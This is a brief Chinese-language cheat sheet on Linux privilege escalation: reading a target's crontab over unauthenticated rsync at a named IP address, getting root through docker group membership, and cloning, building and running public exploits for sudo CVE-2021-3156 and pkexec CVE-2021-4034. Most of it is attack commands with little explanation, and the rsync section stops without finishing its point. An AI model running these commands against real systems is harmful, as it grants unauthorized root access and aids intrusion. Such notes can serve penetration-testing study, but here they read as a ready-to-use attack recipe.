linux提权-RSYNC未授权访问覆盖

一.RSYNC未授权访问覆盖提权

rsync rsync://39.101.162.36:873/src/etc/crontab ./，读取目标定时任务

cat crontab 查看定时任务

读取：

二.docker组用户提权

需要用户在docker组

docker run -v /root:/mnt -it alpine

原理：-v将容器外部的目录/root挂载到容器内部/mnt,使用-it参数进入容器shell

三.SUDO(CVE-2021-3156)

SUDO:1.8.2-1.8.31p2
SUDO:1.9.0-1.9.5P1

判断:sudoedit -s /

usage报错则未有漏洞

git clone https://github.com/blasty/CVE-2021-3156.git

cd CVE-2021-3156

make

./sudo-hax-me-a-sandwich <target_number>

dpkg -l policykit-1

四.2021-4034

git clone https://github.com/berdav/CVE-2021-4034.git

cd CVE-2021-4034

make

./cve-2021-4034.sh